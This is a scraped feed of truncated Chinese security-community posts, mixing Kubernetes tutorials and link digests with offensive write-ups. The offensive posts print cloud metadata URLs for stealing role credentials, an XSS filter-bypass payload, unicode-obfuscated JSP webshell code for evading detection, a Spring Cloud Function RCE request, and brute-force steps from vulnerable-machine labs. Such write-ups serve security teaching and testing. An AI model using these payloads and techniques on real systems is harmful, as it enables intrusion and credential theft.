pod名字后面加了随机串。
pod常用操作命令
部署应用
kubec
2022年3月31日 17:01火线zone
在我作为一名SRE(网站可靠性工程师)的经历中,我不得不将一些应用程序从虚拟机迁移到Kubernetes中。所以,我想特别谈谈这个,一步步解释如何在Kubernetes集群中迁移应用程序。为此,我将分享一些最佳操作,实现一步一步成功迁移。显然,即使我努力尝试过,但也无法谈论关于迁移的所有案例。
应用知识
首先,你需要了解你的应用程序,至少有一个人必须要非常了解它。如果没有人了解应用程序,你将需要大量时间来回答这些问题:
它是无状态的还是有状态的?
有状态的应用程序意味着它会根据用户的操作而变化,例如,一款用于存储文件的应用程序将是有状态的,这些文件是用户通过操作在文件系统中创建的。
这个答案很重要,无状态应用程序的迁移比有状态应用程序的迁移容易得多。在无状态服务的情况下,你无需执行任何操作。而在另一种情况下(有状态应用程序),你需要知道哪些文件是有状态的以及它们存储在文件系统中的什么位置。因此,对应用程序有很好的了解是必要的。
那么,你有两种选择:
修改代码以获得无状态应用程序;
保持当前状态并使用基础设施组件来管理应用程序状态。
第一种选择是不考虑业务环境的理想方式。为什么?因为维护一个有状态的组件并迁移它更难。
以下是无状态服务的优点:
你将拥有一个完全适应Kubernetes的应用程序;
你将减少维护它的时间。
以下是它的缺点:
项目迁移可能要另行安排(迁移准备需更多时间);
向无状态组件的转变可能既困难又漫长。
第二个选择并不理想,但它也有一些优点,比如:
你现在就可以开始迁移项目;
它比代码重构花费更少的时间。
它也有两个缺点:
维护应用程序会更难(但并非不可能,别担心!);
你必须利用其他基础架构组件来管理应用程序状态。
为了管理状态,稍后你将看到有哪些不同的可能性。总之,如果你有时间重构你的应用程序,那就去做吧!从长远来看,这将对你有利。但是如果你没有时间,请选择第二个选项。
依赖项有哪些?
了解代码架构及其依赖项可以让你预测潜在的问题,检查应用程序和依赖项之间的所有网络连接是否可行。
要迁移的组件有哪些?
根据你要迁移的组件列表,迁移的方式会有所不同。比如,你是否需要将数据库(在另一个地方)和应用程序一起迁移?
你的应用程序是否使用了session stickiness?
session stickiness是在用户和应用程序实例之间创建亲和性的过程,不在集群中执行session stickine
2022年3月31日 12:31火线zone
OpenYurt 之 Yurthub 数据过滤框架解析
https://mp.weixin.qq.com/s/WKqpq4xQFhb2moUso3FyNA
容器化 | K8s 部署 RadonDB MySQL Operator 和集群
https://mp.weixin.qq.com/s/VufoIw5B63NHhABqlij2ZQ
在Oracle Cloud部署集群
https://wbuntu.com/k3s-note-01-deploy-cluser-on-oracle-cloud/
eBPF技术应用云原生网络实践系列之kubernetes网络
https://mp.weixin.qq.com/s/2bjetm0Y6347eKJmWUeS2Q
使用云服务自动化 DFIR
https://zawadidone.nl/automating-dfir-using-cloud-services/
数字取证基础:Kubernetes DFIR 实用指南
https://sysdig.com/blog/guide-kubernetes-forensics-dfir/
在 Kubernetes 集群上使用 gRPC 实现 Kong API 网关
https://medium.com/@pratik.manandhar99/implementing-kong-api-gateway-with-grpc-on-a-kubernetes-cluster-240f6132219c
使用 ArgoCD 在多集群中部署应用程序
https://medium.com/zelarsoft/deploying-application-in-multi-clusters-using-argocd-71a04b2a460b
2022年3月31日 12:31火线zone
最近渗透时需要对微信小程序进行抓包,pc端的微信也可以实现,但是部分小程序和网页仅能在安卓端运行,于是决定在安卓模拟器中进行抓包。
由于新版的微信在高版本的安卓系统不信任系统的证书,无法正常抓包,于是采用最新版微信+安卓5的组合进行抓包
配置抓取http包
下载夜神模拟器,并使用夜神多开器创建安卓5系统的模拟器
运行安卓5模拟器,并安装微信
安装后在模拟器中登录微信,登录后在模拟器中 设置-WLAN-长按WiredSSID 设置手动代理
模拟器设置后对burpsuite也进行设置
注意,burp中监听的ip和端口需要与模拟器设置的相同,图中有出入
配置完成后即可抓取http包,但是无法抓取https的流量包(未配置证书)
安装证书抓取https包
在浏览器中访问burp监听的ip和端口,并下载证书
使用文件管理器将下载的证书后缀修改为cer
在 设置-安全-从sd卡安装 中导入下载的证书,并随意命名证书
配置完成后即可抓取https包
2022年3月30日 15:03火线zone
0x01 初始访问
1. SSRF与元数据
腾讯云服务器会公开每个实例的内部服务,如果发现云服务器中的SSRF漏洞,可以直接查询主机实例的元数据从而进一步深入利用。
当发现在云服务器上存在的 SSRF 漏洞,可尝试如下请求:
http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。 查询实例元数据。 http://metadata.tencentyun.com/latest/meta-data/placement/region 获取实例物理所在地信息。 http://metadata.tencentyun.com/latest/meta-data/local-ipv4 获取实例内网 IP。实例存在多张网卡时,返回 eth0 设备的网络地址。 http://metadata.tencentyun.com/latest/meta-data/public-ipv4 获取实例公网 IP。 http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id 实例网络接口 VPC 网络 ID。 在获取到角色名称后,可以通过以下链接取角色的临时凭证,${role-name} 为CAM 角色的名称: http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
如果查询到存在SSRF漏洞的服务器在云上,则可以尝试读取角色的临时凭证进而接管该角色的身份,要注意的是只有在实例绑定了 CAM 角色后才能获取到临时凭证,如果没有指定CAM 角色的名称,接口会返回404。
相关漏洞案例:
https://hackerone.com/reports/341876
2. 凭证泄露
控制台登录凭证泄露
腾讯云控制台支持邮箱、QQ、子用户的密码登录,这类数据较多泄露在可公开访问的网盘文件中,获取到账号密码后可登录控制台对云服务器执行密码重置,删除实例,shell命令执行等操作。
API 密钥泄露
API 密钥是构建腾讯云 API 请求的重要凭证,这类数据较多泄露在GitHub、逆向后的客户端源码、js前端代码中,获取到SecretId和SecretKey后相当于拥有了对应用户的身份权限,如果该账
2022年3月30日 15:03火线zone
序言
APT,全称Advanced Persistent Threat,又名高级持续性威胁,往往有地区或政治背景,以情报搜集、破坏、或经济利益为目的,攻击环节可能使用各类社工、打点和内网渗透以及0day漏洞利用,作为一种非对称的攻击手段,往往能为攻击组织背后的政治或经济实体带来意想不到的地缘、情报、经济甚至军事利益或战术优势。
APT攻击的检测、溯源与反制,往往代表了一个国家、一个组织最高级的网络安全实战能力。而如何应对APT攻击,减少所在组织或国家的情报损失,并提升网络安全优势,就成为头部网络安全企业必须考虑的问题。
从西方APT组织的攻击历史及已经泄露的网络武器看,高隐藏、高持久化(Low&Slow)是其关键特征,而 Rootkit 则是达成此目的的重要技术之一。
Rootkit 系列文章将围绕 Rootkit 的技术栈和运用场景,从攻防两个视角对其危害性和检测思路展开分析。
《序章:悬顶的达摩克利斯之剑》将着重介绍 Rootkit 技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想,开启 Rootkit 系列篇章。
1.平静中暗藏危机
Rootkit 不是最常见的恶意软件类型。
根据 Bitdefender White Paper Rootkit CREAT3432[]报告所述,Rootkit 占检测到的恶意软件总数不到 1%。
由于 Rootkit 开发的复杂性,Rootkit 并不经常使用。尽管操作系统中引入了针对 Rootkit 保护机制,但 Rootkit 仍然可以长期隐藏设备上,进行恶意活动。
因此 Rootkit 被业内公认是最难检测的隐藏手段。
Rootkit 常常用于高质量的APT攻击。APT攻击具有较强的持续性特点,这需要建立在不被发现的基础之上,APT组织可以通过 Rootkit 在目标网络中潜伏几个月甚至几年之久,长期监控并窃取庞大的情报数据。
Rootkit 如同高悬在我们头顶的达摩克利斯之剑,平静祥和的背后,却是无尽的危险与杀机。
2.何为Rootkit
Rootkit 是一种特殊的程序(或一组程序),通常与木马、后门等其他恶意程序结合使用。
Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动,达到高隐藏高持久化目的。
Rootkit 一般具有多种功能,例如:
获得远程访问
Rootkit 提供对操作系统的远程访问权限并具备检测规避能力。
2022年3月30日 14:03火线zone
DC-2靶机
环境搭建
下载地址
http://www.five86.com/downloads/DC-2.zip
vmware导入镜像文件
信息搜集
探测靶机目标ip地址
netdiscover -n 192.168.177.0/24
192.168.177.98
攻击机使用kali,IP地址为192.168.177.39
端口扫描
nmap -sV 192.168.177.98
综合扫描,扫描全端口
nmap -A -p1-65535 192.168.177.98
实操+脑洞
只有一个80端口还打不开,直接跳转
修改一下host配置文件
192.168.177.98 dc-2
刷新页面
得到flag1,网站指纹使用工具查看到
wordpress4.7.10的版本,apache版本2.4.10,数据库mysql。kali用dirsearch扫描一下目录
python3 dirsearch.py -u "http://dc-2" -e *
!
也只有后台的地址能够利用
http://dc-2/wp-login.php
但是账号密码都没有。
使用admin用户登录和使用admin1登录报错不一样,存在用户名为admin的用户
msf下找一找有什么利用工具
searchsploit Wordpress
没有脚本都是txt并且内容还多不可行。针对于Wordpress的漏洞利用找一下有什么工具
有漏洞利用框架,flag2的提示是需要使用cewl工具,cewl的功能百度查看下,类似于深度爬虫Ruby,起码这个时候思路应该是没有问题,直接使用cewl命令报错,所以kali的机器也得修改hosts文件了
vim /etc/hosts
cewl dc-2>1.txt
WordPress Exploit Framework框架安装起来确实麻烦,但是wpscan是kali自带的扫描该中间件的工具,使用生成的1.txt的密码爆破一下
没有密码,这不符合逻辑,是不是字典出问题了,找了个wordpress的常用弱口令字典还是没成功。这里忽略了一个问题,应该先爆破一下用户名
wpscan --url http://dc-2 --enumerate u
依次爆破
wpscan --url http://dc-2 -Ujerry -P 1.txt
jerry/adipiscing
wpscan --url http://dc-2 -Utom -
2022年3月30日 12:03火线zone
通过Kyverno使用KMS、Cosign和工作负载身份验证容器镜像
https://mp.weixin.qq.com/s/hqEU4LUaNukVleSRMA1zXg
即学即会 Serverless | 如何解决 Serverless 应用开发部署的难题?
https://mp.weixin.qq.com/s/1D-65ZupxkXNYTZol3gzBA
利用Gateway-api 攻击Kubernetes
https://mp.weixin.qq.com/s/V0v5mmh6KpdPojtnB6VUbg
Flux如何将Git放入GitOps
https://mp.weixin.qq.com/s/M2Nldb6NXlJXnFAfc1rJjg
从 Lapsus$ 表面处理中学到的云安全经验
https://securityboulevard.com/2022/03/lessons-learned-in-cloud-security-from-lapsus-surfacing/
一种新的去中心化数据管理解决方案:数据网格
https://www.padok.fr/en/blog/data-management-data-mesh
VPC 服务控制——安全的数据共享
https://medium.com/kpmg-uk-engineering/vpc-service-controls-secured-data-sharing-267502eed5fc
使用 Aviatrix CoPilot 掌控云部署
https://medium.com/@rtrentin73/taking-the-left-seat-of-your-cloud-deployment-with-aviatrix-copilot-accf07cb0a46
2022年3月30日 11:33火线zone
尝试插入:javascript:prompt(123)
发现javascript的script被过滤了

尝试大小写,也被过滤了。

尝试将javascript字符分隔开,使用%0a和%0d无果。
于是使用&NewLine;即html5的换行符,但是&需要Url编码%26
即插入:javas%26NewLine;cript:prompt(123)
发现是没有被过滤的。

接着放到浏览器上访问,成功弹窗,此次XSS绕过结束。

另外,经测试使用tab制表符html十进制编码&#09也是可以进行绕过的,同样&#需要进行URL编码,即%26%23
2022年3月29日 20:03火线zone
一个初学java菜鸡对jsp免杀的摸索,文中有不对的地方希望各位师傅多多批评指正。
思路启发
新建一个demo.jsp,内容为
<% int num = 1;// \u000a num=2; out.print(num); %>
以上代码按正常来说应该在网页上打印1,被注释掉的代码不应该被执行,而实际的结果为2
原理
其实问题出在注释符后的 unicode 字符\u000a 上
java源码中支持unicode编码,并且在被编译前,会将代码中的unicode字符解码后编译。
上述代码实际可等效为(\u000a为回车):
<% int num = 1;// num=2; out.print(num); %>
故结果为2
unicode可以出现在任意位置,不仅限于注释符后,并都能解析。
例如以上代码可以写为:
<% \u0009\u0069\u006e\u0074\u0020\u006e\u0075\u006d\u0020\u003d\u0020\u0031\u003b\u002f\u002f\u000a\u0009\u006e\u0075\u006d\u003d\u0032\u003b\u000a\u0009\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u006e\u0075\u006d\u0029\u003b %>
Webshell过D盾
现在大多的webshell查杀工具基本都是根据正则表达式(规则库)去匹配特征值的静态查杀
针对这类工具个人理解的免杀思路有:规避危险函数和代码混淆
关于这方面的内容可以参考这篇文章进行了解:https://www.dandelioncloud.cn/article/details/1432735496350048258
我从中复制了作者的免杀马,并已经将危险函数进行了替换
小tips:使用 BASE64Decoder() 函数会被D盾二级警告......难道....base64解码也是危险函数了吗?
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <% if(request.getParameter("cmd")!=null){ Class rt = Class.forName(new String("java.lang
2022年3月29日 17:32火线zone
0x00 前言
在平时进行红蓝攻防演练的时候,经常会碰到目标资产在云服务机器上的情况,新的技术也会带来新的风险,本文将以 AWS 的 EC2(Elastic Compute Cloud)弹性计算服务为例,主要谈谈在面对云服务器场景下的一些攻防手法。
0x01 初始访问
1、元数据
元数据服务是一种提供查询运行中的实例内元数据的服务,当实例向元数据服务发起请求时,该请求不会通过网络传输,如果获得了目标 EC2 权限或者目标 EC2 存在 SSRF 漏洞,就可以获得到实例的元数据。
通过元数据,攻击者除了可以获得 EC2 上的一些属性之外,还可以获得与该实例绑定的拥有高权限的角色,并通过该角色获得云服务器的控制器,进而横向到其他机器。
通过访问元数据的 /iam/security-credentials/<rolename> 路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限,前提是目标需要配置 IAM 角色才行,不然访问会 404
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
通过元数据获得目标的临时凭证后,就可以接管目标账号权限了。
2、凭证泄露
云场景下的凭证泄露可以分成以下几种:
控制台账号密码泄露,例如登录控制台的账号密码
临时凭证泄露
访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:
Github 敏感信息搜索
反编译目标 APK、小程序
目标网站源代码泄露
3、账号劫持
如果云厂商的控制台存在漏洞的话,用户账号也会存在一定的风险。
例如 AWS 的控制台曾经出现过一些 XSS 漏洞,攻击者就可能会使用这些 XSS 漏洞进行账号劫持,从而获得目标云服务器实例的权限。
4、恶意的镜像
AWS 在创建实例的时候,用户可以选择使用公共镜像或者自定义镜像,如果这些镜像中有恶意的镜像,那么目标使用该镜像创建实例就会产生风险。
以 CVE-2018-15869 为例,关于该漏洞的解释是:当人们通过 AWS 命令行使用「ec2 describe-images」功能时如果没有指定 --owners 参数,可能会在无意中加载恶意的 Amazon 系统镜像 ( A
2022年3月29日 17:32火线zone
BlueMoon靶场渗透
靶机简介
Name: BlueMoon: 2021
Date release: 7 Apr 2021
Author: Kirthik
Series: BlueMoon
环境搭建
攻击机kali
IP 192.168.158.39
目标靶机Debian,ip地址未知,dhcp自动获取
下载地址
https://download.vulnhub.com/bluemoon/bluemoon.ova
导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡
信息搜集
netdiscover -n 192.168.248.39/24
我使用搞得热点比较容易确定目标靶机,扫描端口
nmap -A -p- 192.168.158.250
开放三个端口21,22以及80
扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典
python3 dirsearch.py -u "http://192.168.158.250" -e *
访问是个二维码,扫描的内容
#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF
获取flag
ftp的账号密码
userftp/ftpp@ssword
工具连接或者命令行都可
在information.txt中告诉了,p_list.txt为密码字典,用户名为robin,
上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破
账号密码
robin/k4rv3ndh4nh4ck3r
ssh登录
ssh robin@192.168.158.250
ls
cat user1.txt
使用命令
sudo -l
告诉了jerry权限可以执行/home/robin/project/feedback.sh
横向提权
sudo -u jerry /home/robin/project/feedback.sh
jerry
/bin/sh
当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.tx
2022年3月29日 17:32火线zone
如今,市场上的开源软件众多,如何选择合适的开源软件来为公司业务加持,并且,使用开源软件又该如何确保应用安全?2022年3月26号晚,来自火线云安全实验室的董光利、KubeSphere的架构师万宏明以及火线安全联合创始人卢中阳三位老师为大家分享,带你从多个方面了解安全与开源的紧密联系。同时,在线上观看直播的上千名观众也在评论区开展了激烈的讨论。
@董光利老师
分享议题:《开源软件漏洞挖掘实践》




不论作为SDL实施人员做企业内部的安全建设,还是作为安全研究员挖掘开源软件漏洞,或者作为研发人员做"code review"时考虑安全性,都需要结合业务架构评估代码中的安全风险。
本次我将分享我企业项目和开源项目审计的认识,以及个人做代码审计的方法论。
@万宏明老师
分享议题:《K8s 安全策略最佳实践》




随着 K8s 的普及围绕着 K8s 的安全问题也在增加,在 StackRox 近期针对 K8s 采用和安全性的调查中显示94%的受访者表示在过去的一年中至少经历过一次安全事件,59%的受访者表示在使用 K8s 和容器的过程中,安全是他们最大的担忧,投资必要的安全性策略和工具显得尤为重要。 本次分享带大家更好的了解 K8s 环境面临的安全风险,了解 K8s 提供的安全机制,以及改善 K8s 安全状况的最佳实践。
@卢中阳老师
分享议题:《安全软件如何做开源?》




安全软件适合做开源吗,如何通过开源的方式开发安全软件?带你从多个方面了解安全与开源的紧密联系。
再次感谢几位老师的精彩分享,想要了解更多,扫描下方二维码,关注火线Zone公众号回复关键字“火线沙龙第24期”获取本次直播全部PPT,期待你的互动~

视频回放链接:
火线沙龙第24期——开源软件漏洞挖掘实践
https://www.bilibili.com/video/BV11Y4y1q74K/
火线沙龙第24期——K8s 安全策略最佳实践
https://www.bilibili.com/video/BV12Y4y1p7cp/
火线沙龙第24期——安全软件如何做开源
https://www.bilibili.com/video/BV1k3411n7Uh/
2022年3月29日 16:32火线zone
内存马是什么
顾名思义,就是运行在内存中的木马。跟传统的webshell相比,没有实体文件。个人总结是利用漏洞或上传解析jsp的方式添加的恶意路由,只要能成功添加,那么这个路由的数据处理逻辑是我们可以自定义的。例如:/cmd路由->get(post)获取参数cmd->eval或者exec(cmd),就能成为一个无文件的webshell,也就是内存马。

今天我就以JavaWeb 中的 Tomcat 容器的内存马为例,由浅至深带大家入门,并带大家手写一个内存马。这个内存马是看的风轩师傅的,网上一查就有。不过我看是适配linux的,所以改写成了适配windows的。
就像上面所说的 , 我就以 JavaWeb 、Tomcat 、实际编写 这个顺序一点一点说。因为是简单的不涉及框架的基础web程序,所以不会涉及MVC,微服务之类。大佬们就当是对旧时代的缅怀吧。别喷我了,我很菜。
Filter
首先我们需要了解web应用程序是怎么运行的。以JavaWeb为例,基础的web应用程序至少有以下几个重要组件:
Servlet,Filter,Linstener
其中的关系在下面图中web应用方框里:

因为今天要讲的是filter型内存马。所以先重点讲下filter(过滤器)。想了解其他两个的可以去B站搜楠哥看他的JavaWeb系列视频。还是很好的,句句都是干货。
Filter
过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,一般用来过滤数据。
通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
创建一个filter需要先创建类文件,实现Filter接口:

再将filter配置进web.xml里

编译,运行后就可以访问filter了

当然,在正常业务中Filter大部分用作公共代码的提取,可以对request和response中的方法进行增强(装饰者模式/动态代理),或者进行权限控制,数据过滤等。其他主要业务功能还得servlet来控制。
而且web应用程序都是已经编译好了正在运行中的。也就是java中常说的运行时状态。不会给我们重启,再编译的机会。所以接下来就要讲到Tomcat了。
Tomcat
Tomcat 是一个免费的、开源的、轻量级的 Web 应用服务器。适合在并发量不是很高的中小企业项目中使用。Tomcat 的核心功能有两个,分别是负责
2022年3月29日 12:32火线zone
服务器准备
环境安装
设置主机名
修改hosts文件
所有节点关闭 SELinux 和 防火墙
所有节点添加安装源
所有节点安装所需组件并进行配置
在主节点使用 kubeadm 初始化集群
将工作节点加入集群
踩坑记
参考链接
最近在学习云原生相关的渗透知识,该系列文章记录学习过程,包括基础知识(主要是k8s的搭建使用以及一些概念等。docker基础使用操作不赘述。)、工具的使用、逃逸漏洞复现等。
服务器准备
腾讯云 云服务器,新建三台服务器(香港地区)。
为三台服务器命名:
master:172.19.16.6
node1:172.19.16.14
node2:172.19.16.15
环境安装
设置主机名
hostnamectl set-hostname master hostnamectl set-hostname node1 hostnamectl set-hostname node2 [root@VM-16-6-centos ~]# hostnamectl set-hostname master [root@VM-16-6-centos ~]# hostname master [root@VM-16-6-centos ~]#
修改hosts文件
vim /etc/hosts 172.19.16.6 master 172.19.16.14 node1 172.19.16.15 node2
可以成功ping通:
[root@VM-16-6-centos ~]# ping node1 PING node1 (172.19.16.14) 56(84) bytes of data. 64 bytes from node1 (172.19.16.14): icmp_seq=1 ttl=64 time=0.215 ms 64 bytes from node1 (172.19.16.14): icmp_seq=2 ttl=64 time=0.138 ms 64 bytes from node1 (172.19.16.14): icmp_seq=3 ttl=64 time=0.128 ms
所有节点关闭 SELinux 和 防火墙
setenforce 0 sed -i --follow-symlinks 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/se
2022年3月29日 12:32火线zone
基于 KubeVela 的机器学习实践
https://mp.weixin.qq.com/s/pTYK_WsdSwwiv7_Dzkxh_w
混合云编排工具Terraform入门
https://mp.weixin.qq.com/s/0NQzzqe19lLak5zzBNxKJA
使用 Gatekeeper 进行 OPA 策略管理
https://mp.weixin.qq.com/s/o-XHDS4Yf-1KV7ZdKQpShQ
如何使用s3sec检查AWS S3实例的读、写、删除权限
https://mp.weixin.qq.com/s/ehTopEKq-2vuLDqjXUneZQ
如何保护您的云原生应用程序
https://www.tech-wonders.com/2021/03/how-to-secure-your-cloud-native-applications.html
云上攻防二三事(续)
https://mp.weixin.qq.com/s/Ggrms8Wlm-4UeBwPIfbIYw
Tracee 运行时安全系列:使用 Aqua Postee 集中警报
https://blog.aquasec.com/tracee-runtime-malware-alerts-aqua-postee
俄罗斯-乌克兰网络攻击中使用的云原生技术
https://blog.aquasec.com/cloud-native-attacks-russia-ukraine
2022年3月28日 15:02火线zone
一、环境搭建
https://codeload.github.com/spring-cloud/spring-cloud-function/zip/refs/tags/v3.2.0
下载当前的压缩包直接用IDEA 打开
spring-cloud-function-samples/function-sample-pojo
就可以执行运行环境

进行访问

二、修改配置文件的RCE方式

然后随意路由

三、默认配置文件下的RCE
POST /functionRouter HTTP/1.1 Host: 192.168.66.101:8080 spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc") Content-Type: application/x-www-form-urlencoded Content-Length: 5 test
四、代码分析
从TestRoutingFunctionTests.java
好像是调用apply 函数。传递了Message 类型的input
那么从这里打断点
实际上触发的代码块为:
function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message);
往下更进
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) { Expression expression = this.spelParser.parseExpression(routingExpression); String functionName = (String)expression.getValue(this.evalContext, input, String.class); Assert.hasText(functionName, "Failed to resolve function name based on routing expression '" + this.fun
2022年3月28日 14:32火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:某上市公司渗透测试
链接:https://zone.huoxian.cn/d/1000
作者:小黑
第二名:400元现金+400查克拉
标题:某企业的Shiro内网渗透测试
链接:https://zone.huoxian.cn/d/999
作者:小黑
第三名:300元现金+300查克拉
标题:记一次某网站支付逻辑漏洞的“薅羊毛”
链接:https://zone.huoxian.cn/d/997
作者:Betta
第四名:200元现金+200查克拉
标题:CVE-2021-4034 Linux Polkit权限提升漏洞复现
链接:https://zone.huoxian.cn/d/996
作者:0x6270
第五名:100元现金+100查克拉
标题:容器安全之CVE-2022-0185
链接:https://zone.huoxian.cn/d/998
作者:宋民国本国
第六名:100查克拉
标题:推荐一款自动向hackerone发送漏洞报告的扫描器和自己的感悟
链接:https://zone.huoxian.cn/d/1012
作者:Tian钧
第七名:100查克拉
标题:利用 gateway-api 攻击 kubernetes
链接:https://zone.huoxian.cn/d/1005
作者:lazydog
第八名:100查克拉
标题:Kubernetes CRI-O逃逸CVE-2022-0811漏洞复现
链接:https://zone.huoxian.cn/d/1003
作者:UzJu
02#首发云安全原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规
2022年3月28日 12:32火线zone
Checkov:一款针对基础设施即代码(IaC)的静态代码安全分析工具
https://www.freebuf.com/articles/network/325012.html
K8S 生态周报| Docker和containerd 全版本漏洞公布,请及时处理
https://mp.weixin.qq.com/s/BVvxkVnO0kVsoEa_uVK-TA
使用 Gatekeeper 进行 OPA 策略管理
https://mp.weixin.qq.com/s/o-XHDS4Yf-1KV7ZdKQpShQ
利用脏管道漏洞进行容器逃逸
https://www.datadoghq.com/blog/engineering/dirty-pipe-container-escape-poc/
阿里云安装OpenShift教程
https://docs.openshift.com/container-platform/4.10/installing/installing_alibaba/preparing-to-install-on-alibaba.html#prerequisites_preparing-to-install-on-alibaba
Ninja 的弹性模式 — CNCF 路线图
https://medium.com/@buraktahtacioglu/resiliency-patterns-with-ninja-cncf-roadmap-b8e07f6dfcd1
Tailscale 基础教程:部署私有 DERP 中继服务器
https://fuckcloudnative.io/posts/custom-derp-servers/
Kubernetes中CronJob的改进以及我们的定制化需求
https://corvo.myseu.cn/2022/02/27/2023-02-27-Kubernetes%E4%B8%ADCronJob%E7%9A%84%E6%94%B9%E8%BF%9B%E4%BB%A5%E5%8F%8A%E6%88%91%E4%BB%AC%E7%9A%84%E5%AE%9A%E5%88%B6%E5%8C%96%E9%9C%80%E6%B1%82/
2022年3月25日 12:02火线zone
尽管这不是一个 "真正的 "漏洞,但逃出有特权的Docker容器还是相当有趣的。因为总有一些人会想出一些理由或借口来运行有特权的容器(尽管你真的不应该这样做),这在以后的某个时候可能真的会很有用。
由于最近发现了cgroup_release_agent逃逸技巧 (CVE-2022-0492),我去搜索了对call_usermodehelper_*父类的调用,并试图确定哪些可能在容器环境中被轻易访问到。
在我们看一下结果之前,有必要了解下什么是call_usermodehelper。call_usermodehelper本质上是在usermode下运行的一个程序,这对安全研究人员来说是一个很方便的功能。
经过简短的 grep ,我发现内核的 coredump 处理代码时会调用这个特定的函数。在下面可以看到代码示例。
for (argi = 0; argi < argc; argi++) helper_argv[argi] = cn.corename + argv[argi]; helper_argv[argi] = NULL; retval = -ENOMEM; sub_info = call_usermodehelper_setup(helper_argv[0], helper_argv, NULL, GFP_KERNEL, umh_pipe_setup, NULL, &cprm); if (sub_info) retval = call_usermodehelper_exec(sub_info, UMH_WAIT_EXEC); kfree(helper_argv);
然后我想到,这应该是一个很好的利用目标。更重要的是,没有什么可以阻止我们在容器中执行coredump(apport/systemd-coredump 等技术是未来某个时候值得研究的有趣目标)
剩下要做的就是弄清楚这段代码是如何被访问的。幸运的是,man 5 core快速揭示了它是如何工作的!
来自手册:从内核 2.6.19 开始,Linux 支持 /proc/sys/kernel/core_pattern 文件的替代语法。如果此文件的第一个字符是管道符号 (|),则该行的其余部分被解释为要执行的用户空间程序(或脚本)的命令行。
在大多数情况下,如果我们能够成功地将我们的“恶意”程序编写到以管道为前缀的/proc/sys/kernel/core_pa
2022年3月25日 11:32火线zone
自从阿浪写了那个工具,总感觉没有web页面就是没有灵魂,然后在GitHub闲逛的时候,发现了这一款工具,用了一个多月,效果还行,可以平替,唯一的缺点就是搭建起来有些困难,需要修改文件来达到国内 搭建。
工具的GitHub地址如下
https://github.com/yogeshojha/rengine
然后修改.env文件中的POSTGRES_PASSWORD。
直接运行sudo ./install.sh
就自动化的安装部属了,安装成功后如下所示,还算是不错,有的时候子域名获取会卡死
在文档中也可以设置成自动向hackerone报告
文档地址;
https://rengine.wiki/usage/hackerone/
说说最近的想法吧,最近太忙了,不仅仅是工作上的,然后我辞职了,现在居家待业,天天在家打游戏,打腻了游戏就挖挖漏洞,挖洞成果如下
感觉挖洞还好吧,最起码零食和烟钱都有了,然后就是公众号的运营变慢了,一来是我懒了,二来我自己的技术遇到了瓶颈期,这回是确确实实的感觉到了,公众号也好久没申请原创了,其实也是方便同行们去转发,带上我的来源
我认为我写的东西,我推荐的工具能给粉丝们带来一定的帮助,那这篇文章就有意义,当然我也一样,不喜欢剽窃者。
这一阵挖洞挖到自闭,可能两三天都产不出结果,比较的焦虑,请教了一些大佬,大佬说学开发,学业务逻辑,熟悉业务逻辑,思来想去,自己的业务逻辑漏洞的确很低,开发以前更是不会,只会简单的python和C还有PHP,所以来来回回一圈还是回到了最开始的地方
照着大佬们还是差的太远,自己也太差劲了,所以还是需要努力的学习。希望以后的日子里,咱把公众号继续卷起来,给各位产出一些高质量的文章,虽然现在公众号有点类似工具推荐的号
我自己其实也是个工具小子,特别喜欢搭配各种的工具链来应对这种各样的渗透测试环境,从而疏忽了技术原理,导致现在的我特别的差。
其实说这些话,是想给大家提个醒,遇到技术的瓶颈期不一定总复盘自己会的基础
也可以去尝试学习新的攻击面,比如业务逻辑,开发的逻辑,功能攻击面上,以前还在公司的时候,总是和同事侃侃而谈这个漏洞攻击面,这段时间通过自己在家挖洞养活自己,也认识到了自己的不足,也认识到了自己的短板,技术套路再熟悉也没有用,只有扎实的基础理论和丰富的攻击方式,想别人想不到的。那么你将会更加的优秀
持之以恒,才是道理
2022年3月25日 11:32火线zone
利用Ghostbuster工具发现AWS云环境IP变更导致的Dangling IP
https://mp.weixin.qq.com/s/o5mTDhSV_zHBNHmwoSmWpw
如何在数字化转型中保护DevOps
https://mp.weixin.qq.com/s/UKjkh-H1RN1VBoegcV2zWQ
云原生服务风险测绘分析(一):Docker和Kubernetes
